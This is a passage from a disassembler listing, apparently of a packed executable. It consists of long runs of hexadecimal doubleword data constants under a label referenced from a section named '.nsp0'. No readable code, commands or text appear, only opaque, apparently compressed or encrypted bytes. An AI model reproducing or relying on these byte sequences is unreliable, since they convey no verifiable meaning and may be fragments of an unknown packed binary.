		dd 3A5D85h, 887D3E4Bh, 36080015h, 1CAFAF7Eh, 0AAE731F9h
		dd 684D04C8h, 64CE8127h, 0B5516B9Eh, 0F6D0B4B4h, 8BA4F607h
		dd 0BE9E1F96h, 0F008842Ah, 0E2DF5369h, 9B07DB55h, 6C1AD20Dh
		dd 0E9B3B900h, 49687EEh, 0A40D6696h, 0AF4C76DEh, 0B1C91624h
		dd 0C55CD6B9h, 2A11A3DCh, 74A2C706h, 0FC3C30DDh, 1AB10F20h
		dd 43AF7EEDh, 0EB753540h, 7A76FF7Ch, 1C59908Ah,	1C8BB1A1h
		dd 0CE047058h, 8A5DD9E6h, 0B776D9EAh, 85C4C20Fh, 0BB8877C1h
		dd 8276592Eh, 0EBD2946Ch, 87BA00CAh, 35EE54E2h,	8B065368h
		dd 1DACC7B4h, 24ADA5B3h, 7BDDE553h, 0C3217B16h,	0E90ACB0Fh
		dd 51CC446h, 0D0EBF8BCh, 3779639Dh, 399D7F1Bh, 5F100A90h
		dd 74E73D25h, 1771BA79h, 89D1E95Ch, 0B5C8DBD0h,	0BACAA32Dh
		dd 426D5E2Ch, 0AC38320h, 0B64AB6DEh, 0B967444Bh, 0B3E646C6h
		dd 87A65E97h, 6E3A4CF6h, 0BDB95582h, 0E03A5A5Eh, 0A7DACED0h
		dd 9AC3E84Eh, 472281AAh, 33DEB3A1h, 884EEBA5h, 0ED1E4A8Dh
		dd 4B29E25Eh, 210B5E7Dh, 5F19BC50h, 7665323Bh, 742EFB10h
		dd 0FF2C433Ah, 0C6C099FAh, 0C4FCC6B0h, 0FC1BE8C1h, 8054F518h
		dd 531233C3h, 93360C35h, 0DC75AFF8h, 959DF4Bh, 40B94A26h
		dd 33A21D5h, 5C51B0CCh,	0F79DA333h, 85725D3Ah, 337B9018h
		dd 9FADA91Fh, 44999D6Eh, 24482361h, 9D2F2410h, 67879C21h
		dd 0DB502236h, 0BD347E9Dh, 6E623104h, 27EF40FDh, 202189C2h
		dd 0DA24D3ACh, 0D32E4AA3h, 5036A3E4h, 45D81B47h, 5F7DAEC3h
		dd 0BFB911FFh, 74CA67A6h, 0FE54B5BEh, 53C2F682h, 4D835E19h
		dd 0A7E31697h, 98217183h, 51C21891h, 3087734Ch,	0F0765500h
		dd 0C89A38A4h, 0A6C8009Ah, 91FA11E7h, 0C1B96E10h, 0D9497831h
		dd 301213BDh, 0B674C5A4h, 0C11B8D1h, 5846AA2Dh,	7245EE80h
		dd 0A53078CCh, 0EC45821Bh, 0E544A4B2h, 1F12E24Eh, 0EC28980Ah
		dd 0EFB41368h, 0DEA7BB8Eh, 28FA993Ah, 6F361337h, 0D6E595BEh
		dd 7180295h, 6BB58A36h,	373588D1h, 0CDF239Bh, 4E7966CEh
		dd 9B41EBD8h, 0EAB632A9h, 91BF9E64h, 3C1EF6D8h,	0F8AD8272h
		dd 8E48FB9Ah, 82E89414h, 0E9ABB326h, 0DE6635CAh, 5C75F95Eh
		dd 2D6CFF2Dh, 0D8DD27D5h, 99B274BDh, 5A450175h,	8B18C1F9h
		dd 4D9070AFh, 0A2899BDAh, 251FF295h, 51F86948h,	0CC437ECAh
		dd 4A247F03h, 7C77D0F7h, 0D0272C7h, 0A9A9BFEDh,	0A4B29D5Ch
		dd 0E42F0B9Fh, 0F33A0Ch, 37CEB990h, 0DDA1B486h,	0E9012589h
		dd 7D7B140Eh, 51FFCAEDh, 0B164847Eh, 2594C2D4h,	8EF2173Ch
		dd 0B51C10EBh, 990150ECh, 0A1F33A68h, 68E5BACCh, 0EFA1FC44h
		dd 1806F2F3h, 1202401Bh, 5E5080BDh, 0EF2AACD9h,	0BAB56D2Ch
		dd 28528AD7h, 0CD4DBEF0h, 8728998Ah, 0ADABC058h, 0B128D03Bh
		dd 7D7901FBh, 0C5C03434h, 0CB0138C0h, 0F422DBECh, 9B1CFB37h
		dd 0CEA528D9h, 7F310BFCh, 1D93ED7Fh, 0E704BEE1h, 0CB274373h
		dd 8F5150C2h, 0C935459h, 0EDA92CABh, 0D22C79DDh, 7EA3225Bh
		dd 0A5E97181h, 8E14BFE5h, 8BB88F55h, 5F82B30h, 8E3FF9B1h
		dd 78764292h, 3D9D2003h, 0DC5A4538h, 5DD25BC4h,	23D4A7Ch
		dd 0B8D73D3Ch, 9CAE85DDh, 8654363Dh, 81393B17h,	44E329F2h
		dd 7658E5D7h, 0CAC0F4B6h, 0EA57586Ah, 248DB065h, 149FD517h
		dd 9798B16h, 0E5CBF4FBh, 280C26DDh, 89BFD1A6h, 956A7B3Bh
		dd 0E14D2BAEh, 36E19ADBh, 5CDABACh, 43790B85h, 3EA29C12h
		dd 87D7451Ch, 0D36AB859h, 0B4245FECh, 0A0C6A18Ch, 0D4CC2A53h
		dd 78215338h, 0FB3E4DE2h, 2A2A4DC0h, 0D174F16Ah, 41B87975h
		dd 2E4067DEh, 9B1E095h,	20043E5Dh, 0C4A314E5h, 563BDEBh
		dd 0B034DD82h, 75648082h, 3E6F09AAh, 0A9A52E65h, 2477765Fh
		dd 0C86FD5Fh, 664CD0CAh, 84FF0031h, 0BCBE5B96h,	8F2E30E4h
		dd 23F53C4Eh, 951C3DAEh, 6B7AA4C9h, 0EDDC2FDBh,	0EAE82042h
		dd 5C6A1995h, 0CBACCD5Ch, 0AF6AEAC7h, 87FD4FEh,	0EBB1167Eh
		dd 0A39DA06Fh, 0D9A0229Ah, 0FB3D07E4h, 0CA211BABh, 0FDE99CA2h
		dd 2302C3BFh, 3617B1DBh, 0BA192E32h, 3FC9C018h,	68C75A68h
		dd 246927B9h, 238C3146h, 4DC384Dh, 0BD2314Dh, 0DC5B655Eh
		dd 0F9F7F800h, 70D853F5h, 0E2A9ACB7h, 5AC4153Ah, 5AF103C3h
		dd 0D638A2A8h, 493BA75Fh, 7B51A18Eh, 63742159h,	8DB88982h
		dd 34C506D1h, 0F7B9909Ah, 5A5F4046h, 0F7E12065h, 1E26E7D1h
		dd 0C9CFDDE4h, 88C26C32h, 0E001820Ch, 97072F87h, 9FBA1005h
		dd 383C5455h, 0B3E95D48h, 0D4F7877Dh, 0CC3743C5h, 7C70D15Ch
		dd 88A5CBF3h, 12C61294h, 0CAD5DF18h, 40DA4D50h,	0E94D6140h
		dd 0A4C9EFDCh, 37A0E9CCh, 0F66F2352h, 1FB8DD41h, 0C0072A2Fh
		dd 708F21E5h, 0C8D7EF40h, 0C2C15CC8h, 0A64A0891h, 24013C8Bh
		dd 46101C70h, 0BB479E00h, 0EE2297A7h, 9910A5B6h, 0E4410A4Fh
		dd 0F6DBBC80h, 3531639h, 0B7A529DEh, 63B414A6h,	9AABB37Ch
		dd 41C0471Bh, 0CD41E7F2h, 6251A104h, 446F7E42h,	2E3F7FBCh
		dd 1DF10655h, 0A1E91243h, 0A48AE57Eh, 4059BD3Fh, 0BAA438Eh
		dd 0F209ABC2h, 54554BECh
		dd 91E88FDAh, 5A5400E7h, 0A26FA8B1h, 4CFA4C22h,	7C86E5A1h
		dd 7786185h, 2D27E1BDh,	0EAB05C2Eh, 2F976C0Bh, 8977DF1Ah
		dd 843F1222h, 0AF634F29h, 0F65A1ECBh, 1F71F7E1h, 0DAF2322Ch
		dd 958FD428h, 90DFE876h, 5C69BF6Ah, 0E8C9719Fh,	0B2BDACD9h
		dd 0FF5A3B19h, 80CAAA8h, 8DE9BAA9h, 0A7B62924h,	0EC83E799h
		dd 75C2C9B6h, 0C81D546h, 6A9E1F3Ah, 6C2A4032h, 0A676AC9h
		dd 0E8DF0A61h, 964B5B89h, 7370943h, 7B8E6BD1h, 0DAE72944h
		dd 0FC9D3026h, 712CB7E0h, 0AB89824h, 475A30ABh,	221F8475h
		dd 1E1F7846h, 0F7D31862h, 99E6040Eh, 104C25BCh,	5EBF407Bh
		dd 9BEE7D05h, 460FA228h, 2DED3CE9h, 0D4613173h,	2A405897h
		dd 0FE7B07E1h, 0E4E3E4CDh, 0B9A2331Eh, 39E144B8h, 66611BCAh
		dd 1559BA3Ch, 65FF2202h, 0A5B4EDA6h, 5016DDBh, 0DA71E0FBh
		dd 21D23541h, 0C8743A99h, 1A9014Ah, 50599BDh, 97DD3CB3h
		dd 0D86E363h, 82B00945h, 0FD97E4FBh, 303DEF58h,	0F3B8F0D3h
		dd 97DA8D7Ah, 94B73792h, 0E3A6BA69h, 3C9B7842h,	855B533Bh
		dd 0E9E1AF25h, 8F7BE01Bh, 0D3579CD7h, 0B8BA6FE3h, 120681A4h
		dd 7335B7E2h, 9466F5F1h, 1D193B8Fh, 3B28C124h, 283FCD9Ch
		dd 4A0FB467h, 0DAE2022Dh, 0C73074ADh, 0C31B6B8Eh, 0EBB52960h
		dd 70D07CADh, 0FA8C2347h, 7D0B360Bh, 0C4B14B09h, 7FF3DAA7h
		dd 0BD6F4A00h, 8A7F4A24h, 0CA6E264Ah, 0B56BAE8h, 574EAE57h
		dd 1DEA670Ch, 5724876Ch, 957E34A4h, 66E65752h, 5D5C6693h
		dd 74067B6Ch, 0F5CB68A6h, 966F4C34h, 72D951DBh,	1C14D68Eh
		dd 972C5F65h, 10F05256h, 11CBEF16h, 5C011AF0h, 9005DB47h
		dd 455879C4h, 3548E11Ch, 3A357ADh, 9DD9A2E1h, 13EB50E9h
		dd 0D7E7DABDh, 944A42B6h, 0C07998BCh, 2E9687A3h, 5A9F6EA3h
		dd 157DFA14h, 5CE7651Ch, 0CC7DAD17h, 8BEC51E7h,	0E029AC0Bh
		dd 0C4423E84h, 4DC67459h, 0DFE4FC24h, 6F6F9634h, 6C443C7Eh
		dd 387E2DBFh, 2A27D304h, 5739914Ch, 156176D1h, 5170A2D6h
		dd 270DC4C8h, 0E87D2462h, 0DA2B7488h, 1E59B4Dh,	8070B7AAh
		dd 0F6F451D2h, 0DC187F3Fh, 105535F2h, 0E5894CF5h, 682DDA93h
		dd 0F034C682h, 0A264D6FCh, 0FBC9DFBFh, 5B4EB7F4h, 35290BDh
		dd 0D920F823h, 4DE97ABAh, 0C128DCE9h, 335BE94Ah, 0EA466CB0h
		dd 1A4CA1C1h, 793F7438h, 46EE25CAh, 831019D9h, 0E7732FAEh
		dd 127A1DDAh, 1457BD43h, 9A8EA3BEh, 0B78B287Eh,	21B2B35Fh
		dd 0D02E6EB9h, 0D960C50Fh, 0DB93BDD9h, 83336DFEh, 0AD6AD1E2h
		dd 40F498D6h, 9676A836h, 4BBE2824h, 56732313h, 5DB119A7h
		dd 8C0FB1D4h, 0C76093BBh, 0FFEA488Bh, 54F264CAh, 326548B9h
		dd 9D68327Fh, 0D68FFD1Dh, 0AAAB716Bh, 0A50B2521h, 2D6EA23h
		dd 0A67ACF54h, 0D3730843h, 1201D2EFh, 0FD237F7Ah, 0BF47B247h
		dd 0B4C59388h, 52176342h, 5429E4A1h, 0AC18336Eh, 1DB8761Ch
		dd 0D8D32277h, 465FABB5h, 33C19CEBh, 0B558EC33h, 11C6694Fh
		dd 0F4826CCFh, 0F15C0659h, 0BD026554h, 30A8E915h, 1CC21506h
		dd 9A02F8F8h, 57164A3Ch, 0E89DC00Ah, 9B9A6596h,	0C7DFBB37h
		dd 1F247938h, 0E43BEB02h, 2BFB5FD0h, 354D7E32h,	2CC0E917h
		dd 11F5604Ah, 6B11638Bh, 5189B429h, 0B7635517h,	61F16EFDh
		dd 7B231F7Fh, 0B8C3A129h, 1327614Ah, 9EFCC1DFh,	51F48D56h
		dd 0E1438CD5h, 3934389Fh, 0CDA65FDFh, 0F6BF9DEFh, 0C37724A7h
		dd 288A88DDh, 0A35C4E19h, 0A28D1232h, 0EFB28B3Bh, 82465C70h
		dd 6E3B1D22h, 0D4001F86h, 2AC8E242h, 4692BB40h,	0C4FFD70Eh
		dd 0C773D431h, 0E86471A8h, 133DC6F8h, 44E757A9h, 2C788D8Ch
		dd 6D4EA7B9h, 0EC791FE3h, 3BE3F1D9h, 6EC19E68h,	1A97DA3Dh
		dd 70DD75B9h, 93B66B66h, 0BBF4710Eh, 40678DD8h,	6E42BA78h
		dd 0B5EBBB86h, 0EF9382B2h, 0E52AA1E9h, 5B593DEh, 0BBAC520Dh
		dd 0BABF9B6Ch, 0B05B9393h, 1E9ADF15h, 4738ED0Ah, 34A774C8h
		dd 7995FF07h, 0DBCDA4BFh, 4E7E04F6h, 0C8A19CCEh, 0C41D2650h
		dd 2A784495h, 1AA8BEEAh, 21A75EE7h, 306D3B57h, 7852D9AFh
		dd 54DE6B3Ch, 7DA041AAh, 1F4A9A36h, 513B70F0h, 0AFD11180h
		dd 0A31E075Dh, 719448F2h, 568C098Eh, 0A6C8FC4Eh, 0FCF12165h
		dd 3476B1EDh, 0A95F385Ah, 0D4128219h, 3AB8FC20h, 0BF66A881h
		dd 9B324320h, 0A610A30Ah, 1F0CBF26h, 0C6AFDDA4h, 5B55690Fh
		dd 3A67754Ch, 3407A2C5h, 74234A9Ah, 9A0A56E1h, 0BEE826F9h
		dd 8EEE565Ch, 27CE0E6Fh, 0FA5E38Ch, 9B8D571Ch, 891177CDh
		dd 0C9ADCB59h, 4081BE4Dh, 19C14D07h, 9712D6D7h,	46CBB696h
		dd 557FB269h, 0B9BEBB0Ch, 26586527h, 6BA80250h,	0ABD81BF0h
		dd 6D795551h, 0DE52D974h, 309A68CCh, 0AC524115h, 616F9395h
		dd 24A34E7Ch, 0BF166C0Eh, 0D0EBCC40h, 0C3C66545h, 0A743C64Bh
		dd 0B9FAE1F6h, 2CCA674Ah, 0BEA65311h, 282EC54Dh, 0D2F47118h
		dd 0EDFF501h, 8C8B3C25h, 3D64FD64h, 0DC0A81BBh,	902D7942h
		dd 8412FC85h, 9A7B113h,	24BE8AECh, 4AE91C24h, 0CDB88D2h
		dd 5435ABC0h, 9EE72AC5h, 0E34ED0FBh, 54180A8Ch,	324C8651h
		dd 0B925EE90h, 0BB975469h, 75554FE9h, 87527400h, 0F04CDC88h
		dd 0EE4AF654h, 58E8114Bh, 0B9F142A2h, 52DD1D27h, 0D659F732h
		dd 7E385496h, 7911F8FDh, 0B03DEDEBh, 0D746326Dh, 0D87AB8F6h
		dd 0C553975Fh, 0B75AA144h, 20C16229h, 0C418A12Ch, 4CF271E7h
		dd 0ADD168B4h, 0C459D491h, 0E249190Ah, 0E72D9A81h, 71D9C004h
		dd 44522F87h, 0D6E871DCh, 0F6C6D533h, 8212C70Eh, 0CD6C6B5Ah
		dd 0DAB630Ah, 0A79D5521h, 0FAD167B4h, 0A45CE508h, 2C4838Eh
		dd 5DCC24BCh, 65AD491Fh, 0FCED2281h, 0A9D85250h, 0E8466A92h
		dd 0E3F5A70Ch, 0B14210A5h, 8FA31288h, 20E6E3C5h, 0B567BF52h
		dd 96DFC850h, 9B539688h, 0DEBE4BEBh, 0DB9CBA47h, 0D7BBB018h
		dd 56556B29h, 129C7C78h, 0EEF7698Ch, 2F47CCB9h,	6354CDAEh
		dd 0AFD4342Ch, 6970BDA5h, 0FC219993h, 7028116Dh, 483C73F0h
		dd 20E72052h, 8026F0A2h, 0CD9FC90Dh, 4430F59Fh,	0F8D39D92h
		dd 3D538AB8h, 5711A032h, 2754CAE0h, 3A9E589Fh, 9176CC48h
		dd 74771872h, 0BAF44CE2h, 0DE75D25Bh, 3A1C8476h, 87869AA8h
		dd 0E7F3E25h, 0AFFA8CDAh, 0C5C3B768h, 0D30ABCC0h, 0FE6D19F2h
		dd 0D1F7C27Ah, 0CFAEECD4h, 32958DDBh, 9D7C8483h, 0B6AAF08Bh
		dd 27D4A150h, 0E14A84E2h, 25ED09A7h, 0D665360Dh, 7A7232E0h
		dd 19CCF216h, 20B0B31Ch, 84AB30D8h, 0D4AA8AA2h,	0E633FCA0h
		dd 2E3CF6E5h, 2DF2F0A2h, 8C940507h, 9BF5E837h, 6F1AE66Fh
		dd 0CF715EF6h, 12340020h, 0E578E211h, 0E7F58C77h, 0A1245141h
		dd 0BC555F3Bh, 9C5A1993h, 0FC97C026h, 89781142h, 4601ED4Fh
		dd 8492E6A2h, 217EBFC9h, 0ECF8F304h, 5B52BEB4h,	8CD68C37h
		dd 1A37ADFBh, 8BC60C2Ch, 1E518EB8h, 4CA1F1B0h, 207103A6h
		dd 1F48B391h, 18B3498Dh, 8A3629E7h, 88467119h, 0A425F18Fh
		dd 978C63DBh, 66EC33FEh, 1897C7E0h, 92780FC4h, 0ADFAD740h
		dd 172A4032h, 8C328C8Fh, 65CA8B68h, 4E56937h, 7B7A2B9Bh
		dd 196BBA75h, 64301201h, 20A58D96h, 9A0C9AD4h, 4A933AADh
		dd 1A15A282h, 0E24FA5FDh, 0CAE95909h, 38134A7Dh, 4BD8087h
		dd 738A3384h, 0D6A39E5Fh, 445D55D0h, 0B5512482h, 6C24252h
		dd 0BA115784h, 0E2B46E30h, 79960D8Eh, 400F3D14h, 0C5E35540h
		dd 3BB02052h, 0CF6DACh,	0BA4330CCh, 0C6A17E1h, 5AACDDC2h
		dd 7D3E1B36h, 0FC47A3FCh
		dd 0C6A0F681h, 7E1905D2h, 8752DF9Bh, 87C7BA06h,	0CFB650AAh
		dd 91BB645Ch, 226775B0h, 47C27F30h, 841F6BC9h, 871323FAh
		dd 826948D5h, 38B6BC9Fh, 881BA01Ah, 4F54CEBh, 0CCD95B79h
		dd 0D0FEB0C0h, 0C321CD77h, 0DEE56A4Eh, 4F737896h, 0A8690A97h
		dd 68FC30Ah, 0F815E14Bh, 1F3A290Bh, 2D2EB739h, 846153ECh
		dd 54A7A4DCh, 30B67FE9h, 465FAA0Ah, 36498E64h, 0A535EA69h
		dd 0A4A9B348h, 93937D6Ah, 0C33DBA11h, 0B6782A6Fh, 0BD1E4551h
		dd 0AFC8D8D7h, 9C59ED19h, 83C2A2A1h, 602869Ch, 1FA3469h
		dd 72222239h, 87F6BCF8h, 4E6CCE72h, 0D567907Ch,	6B5F7921h
		dd 0F5447C6h, 0B6E8D230h, 0EEBDEE79h, 890FE953h, 0B5DBB5F4h
		dd 0F4270D26h, 81E75B43h, 4F172A09h, 3F4D39FBh,	6E06AB8Eh
		dd 0BF21BB86h, 0C19DECCFh, 0CCE93D6Ah, 0CA47C588h, 0BB1F1B9Eh
		dd 13C86939h, 0CA1B4105h, 239877B5h, 0FEA04A2Ah, 0A8612E3Bh
		dd 8C0C460Ah, 0EA1EA46Dh, 37A0D5ECh, 0CF106922h, 1409422Ch
		dd 0EB41210h, 79CE3199h, 0FF62E3EDh, 4488D526h,	9ECC02A2h
		dd 0C1E28896h, 9D06AE13h, 0FCB7D2C7h, 3A59FB8h,	0C6A07C77h
		dd 68A16E83h, 7A073B1Eh, 1E79FE20h, 256A87B8h, 0C136C3F1h
		dd 319C2C96h, 90D99369h, 0D4E4310Bh, 1F20CA46h,	0EB22E139h
		dd 0F9A79C6Ch, 0BCF9B400h, 0CE963F49h, 0EE8C5D8Fh, 2232136Fh
		dd 0D10F89BEh, 0E8AF1124h, 0E6C86584h, 0FD2A9E5Ah, 58958F0Dh
		dd 0B29A3727h, 0DEC64FE9h, 673017Ah, 5CB72B4Ch,	11CCC53Ch
		dd 8488373Ah, 653C9BF5h, 0B2FBDD96h, 93FB2D08h,	0E2EC6072h
		dd 4CF214ECh, 0D3B16AF5h, 0F75A44A1h, 7F4445C8h, 128F6CA8h
		dd 11FEC381h, 66E5158Ah, 11BEB898h, 659E77E5h, 3AC3715Ah
		dd 873044BAh, 4C894A09h, 0AF367BD9h, 0C1E53EB5h, 0FBD0D772h
		dd 0C6FDE847h, 0AEC569D4h, 0AFB2F0F3h, 2F79ED2Bh, 0CB9428F1h
		dd 2ABC123Ah, 0D4E70A2Dh, 1378AFF7h, 0D6EEE333h, 8A459CE5h
		dd 4A6CB2Bh, 0CFB33C32h, 6A2E9935h, 0A642BCCDh,	3A4762Dh
		dd 0EDCCB290h, 992AE630h, 0E625D7ACh, 8245C6A2h, 707D63EBh
		dd 0B0CF1AB0h, 2FA283A2h, 0AAC4D416h, 2FD24790h, 7633013Fh
		dd 0A84D2653h, 0D7F942FEh, 5E54F891h, 0AD1C7A12h, 8690D7Eh
		dd 0F888F2C0h, 1A8C64CBh, 0BE0B2921h, 3D5CF30h,	0C39E665Ah
		dd 7DC136FCh, 2ACE64DCh, 2A98D711h, 0A7D5A256h,	961A9A0Dh
		dd 0BEAB349Bh, 3D152D22h, 82A15CB2h, 63700F1Fh,	0D3768DAh
		dd 0A1C6B4F8h, 279E8A2h, 1B9679C0h, 9D20C296h, 0B91F8366h
		dd 60BD4D60h, 1C981B5Ah, 3E9460DCh, 20D00E62h, 0ED2BFC43h
		dd 0E7719391h, 0B0207165h, 403C5BE2h, 0EDE652BBh, 861D6DFEh
		dd 0B2258EAEh, 440C796Fh, 0F443E986h, 16B8C20Eh, 0D08BD39Ch
		dd 8729D798h, 0D31E8DE4h, 18B86C7Eh, 8EFE7h, 987E0149h
		dd 0CA87FC28h, 82EF6493h, 901C9C4Bh, 0B912C643h, 99D8991Bh
		dd 0D707EA9h, 4A3CF479h, 95670766h, 1B43614Dh, 9248EEh
		dd 0F05C90FBh, 66BE53E5h, 3679E4FFh, 0DFB7CBC4h, 0F3748BB0h
		dd 0E422C196h, 0D2C9BEBCh, 0BADAEC1Fh, 2F10F4CEh, 0EB8B4BBBh
		dd 53569F4Ch, 2017762Dh, 0FC7974C2h, 6E16C845h,	63605AD9h
		dd 7F7C9586h, 0E8B52099h, 0F41DD4DEh, 0A5E55FFDh, 0DBDFEBB2h
		dd 9A7E36CDh, 8E2F23E4h, 5708075Ch, 21DB067Dh, 16EE051Dh
		dd 0CEA19029h, 1E5193F4h, 0E1D2975Dh, 6E14CA6Dh, 0AA3D5053h
		dd 45AF22A8h, 6A8A741Bh, 4BAA6B1Bh, 7FB05A6Ah, 7BFC3861h
		dd 5AAB1CBBh, 0FEF19FA8h, 0D28188Ch, 0AD957ADCh, 8EA237ACh
		dd 0F1CAF3EAh, 0ACA6885Bh, 0AF318112h, 0A3C9F9C4h, 8350CB9Ah
		dd 59DB5B0Bh, 8117BB8h,	4687B7B8h, 5943C701h, 88E9547Dh
		dd 180C82CBh, 0F842112Eh, 8F009707h, 3A1D3847h,	0C572F4EFh
		dd 73CAAA92h, 298E288Bh, 4C77404Eh, 0C91EEA2Ch,	409BA5DDh
		dd 0C7EC709Fh, 0D975338Ch, 6DD2E710h, 0C4153399h, 0E0B5EE6Dh
		dd 3D9825ABh, 717B245h,	0F08C1768h, 0E6E61375h,	0FFD0B11Fh
		dd 918C6143h, 47030579h, 2B5AEA3h, 65D012D8h, 1B7B2054h
		dd 0F7C0B386h, 61B1590Fh, 68E31284h, 88DA7D6h, 0A50B88A3h
		dd 8A8FB1A3h, 0F93A940Eh, 82570E60h, 0FBFD456h,	285184A4h
		dd 94160B26h, 6C6F051Fh, 3E9EEDB9h, 9132F331h, 59D68463h
		dd 0A6621D17h, 0E1FA6EE2h, 7E9AEh, 3F3E8770h, 0C2BC8D33h
		dd 415DB7C2h, 20E153B7h, 1C1D2FCFh, 0CE2C902Ch,	9B945041h
		dd 572D8D74h, 9223097h,	0FFB4DE63h, 0F96FED2Eh,	0F32CF40Fh
		dd 2C633E71h, 0C8AD7164h, 86DDC8B7h, 0CC276F68h, 68DB9537h
		dd 0DEF8E10Fh, 0F22CA73Ah, 90E1ADA5h, 829E03ADh, 317C8D8Eh
		dd 0DCB29B2Ch, 0CCA1C75Fh, 0D51F208Ah, 4A93E6BEh, 533565EFh
		dd 661AFD69h, 2796D73h,	8837AE0Bh, 6A7C037Bh, 0A210C3A1h
		dd 63762155h, 0D688739h, 9E714CB4h, 36B3C1D1h, 0E53A47CEh
		dd 85CB7690h, 0C9269575h, 0F27D3D1Ch, 0A4F4CEA6h, 66D7475Eh
		dd 119F01F9h, 1010F2AAh, 4B88D13Dh, 948F8243h, 0C1DCF572h
		dd 7014585Bh, 34624C07h, 0E4637F07h, 0E40B0827h, 0FD38537Ch
		dd 37D7D808h, 2C652215h, 711FD61Fh, 454054h, 0C09C9FD5h
		dd 0F23E4E24h, 465FE61Dh, 8397EF50h, 0C5842427h, 733C7A4Ch
		dd 0BDE8F870h, 0ACF2B90Eh, 5A2814A3h, 0F3978835h, 9DA20957h
		dd 9EBE9C3Dh, 74321FC8h, 15A09AE9h, 0D37976F7h,	7D9BF01Dh
		dd 8D925330h, 0F9D89CD5h, 90FD7455h, 1F8CF5E3h,	811699BDh
		dd 7615C1F9h, 9F1452F6h, 9E39F272h, 3F35AF93h, 0FCF9ECBEh
		dd 0C61E445Ch, 654295CCh, 7E9266B8h, 50B07449h,	4FEE5252h
		dd 0FA6B0177h, 0A4ABE595h, 6F34F630h, 0FFDC17B8h, 876CB0A2h
		dd 198436A9h, 2B2020F6h, 84D6AC20h, 19298A94h, 55E816DBh
		dd 0BA234F5Eh, 37BAD095h, 1FC901F6h, 0F1E1E5ACh, 0ABE4701h
		dd 0FF7BBB1Ch, 21890F8Ah, 228E6143h, 0B032C2CDh, 8383B130h
		dd 219833D3h, 336A85A2h, 765EB93Bh, 0F9C01D29h,	8D280264h
		dd 5631FD2h, 1371DF1Ah,	0E650FA4Eh, 0EC322A82h,	0B0C7FB85h
		dd 2F565D06h, 0A2A66F79h, 9873104Eh, 0B58DC9A0h, 0F6F76670h
		dd 0A481A507h, 36A37C71h, 7AED4513h, 2D29451Fh,	0ED987944h
		dd 8C88C78Bh, 0F0005D92h, 0FBA62AB3h, 36E2C6E7h, 0EA4E778Ch
		dd 78148365h, 2BEC9EACh, 65123FC6h, 58F352B4h, 0BBD8771h
		dd 0B3C3AE5Bh, 0DDFB6ECCh, 93F334F1h, 6C7993DCh, 0B1CD4BE7h
		dd 4E857EEBh, 0CB4B3640h, 8EA54694h, 0A8B2C058h, 73E14DBBh
		dd 28C6F5EFh, 8BF36A2Eh, 91612D20h, 0C0C253F0h,	0A186E600h
		dd 0CDF70586h, 0DB2BC6A3h, 60B6BE31h, 0E8F75FA6h, 0DF99F5DEh
		dd 9C814E53h, 6B9F69EEh, 84591B34h, 0F8B0B598h,	931EBE53h
		dd 9B8AE945h, 0C8A5B42Fh, 0C32627B6h, 22C50409h, 2A5A1AB8h
		dd 0F47B1B8Eh, 2A732EDh, 97BFB675h, 0A5DCCDBh, 7E24EC0Ch
		dd 225F22BDh, 0CD109355h, 3A65A32Ch, 2D0D1C0Eh,	0EB08A43Fh
		dd 8BD18E25h, 0BAA1C973h, 0EF00562Ah, 0C171BEA4h, 0DEF2D32Ch
		dd 0AE164446h, 483F375Ch, 7002F2CCh, 50C93609h,	8A1B4438h
		dd 0CFAA237Ah, 96FA2A8Eh, 4A97C7BFh, 0CAB19E23h, 0BEC2878h
		dd 58AEC3DFh, 0A7455387h, 7A200951h, 0D9296DC9h, 188C8976h
dword_4A0000	dd 0F9F0EC16h, 7B355603h, 2E2084Dh, 6104E15Eh, 6509B498h
					; DATA XREF: .nsp0:00422470o
		dd 0E5FBD252h, 4BAC1D33h, 629A6BE3h, 0A7DC1D60h, 4DF0AF80h
		dd 6DD468E8h, 9D9F2C73h, 7421E695h, 8DC0343Dh, 7374F6C5h
		dd 73DA021Ch, 0BEEA4AEEh, 2E1FB32Ah, 0BFE67EF8h, 0ADC29116h
		dd 555D477Bh, 0EE491226h, 372B77C8h, 0C90F6A0Ah, 3D711FE6h
		dd 7D6D074Fh, 20901739h, 0C37BA267h, 4970AC1Ch,	3826DAE7h
		dd 6AAAD997h, 24D6D68Eh, 0D441B29Bh, 0E3EE3973h, 0DADD060Fh
		dd 5A162E8Dh, 0BC8B904Eh, 154CD1E4h, 2DE9DC27h,	84723F7Ch
		dd 79421A9Ah, 1718DF2Eh, 0D23ED58Dh, 3FBA5A1Dh,	9CC6C8E9h
		dd 1ED48BFCh, 0DC1CABE3h, 29375B66h, 863572C5h,	0C8B94617h
		dd 56693DE4h, 0BA23DDF5h, 5C79B79Bh, 0F9D5879Dh, 0B4FD3062h
		dd 994A9D0Fh, 3B24E09h,	0EC98969h, 45278230h, 6B51F3B8h
		dd 467B2408h, 22ED26B0h, 0DD48BCB9h, 34923141h,	78987C1Ah
		dd 8BEFEA62h, 0BAB47C50h, 1B112387h, 6BCB0A80h,	0B48D8C85h
		dd 92219DD6h, 9A7F27A7h, 1DF2542Dh, 1C19638Ch, 0FCAD8947h
		dd 88FC81B4h, 77B701DCh, 0FA1930C6h, 73CCA6Ah, 1E2CF0B6h
		dd 4E5E54F9h, 0A9563588h, 2DB6484Ah, 0BD63156Fh, 0F7E0860Ah
		dd 2F711DE5h, 39CE7848h, 4EA844DDh, 0B12848A0h,	0E2BCBC00h
		dd 1D0AE6BBh, 4E76A72Fh, 38C6B664h, 0CE118E94h,	528980ACh
		dd 0E6D405FDh, 9F6D7D60h, 0F56CFE61h, 0C8271C05h, 4ED8C931h
		dd 66DED2A5h, 0BE72FBE3h, 6AC19803h, 7858B70h, 3CAD89A4h
		dd 0D45BB68Bh, 329E56BFh, 2A90C4F8h, 0E65EA695h, 1FCA6840h
		dd 89C4A58Dh, 8370236Dh, 24B05BBDh, 78FF048h, 0A9665CAh
		dd 0AB49991h, 0CA3B2D0Eh, 0B1BF2265h, 5732293Ch, 7F84DE21h
		dd 9828AFBBh, 0ED7A6C5Dh, 4C3ED77Dh, 58C1BBE2h,	2D6A904Ch
		dd 6268E3D9h, 0F5F3E3CFh, 59ADEA4Dh, 32D86A61h,	5B0F074Eh
		dd 0C32969D5h, 7BECDCC7h, 2CC249E5h, 0C69E8C6Ch, 0CC781DE8h
		dd 5CA70BABh, 9F4244F3h, 4517ADA9h, 0F6E8BB45h,	18217FE8h
		dd 647B8753h, 0EE414DC5h, 0E951FAEh, 496C1A6Ch,	32D98DF3h
		dd 7BD6A6D4h, 0DC14507Eh, 0D80FD2C5h, 4DD101EDh, 94176DF3h
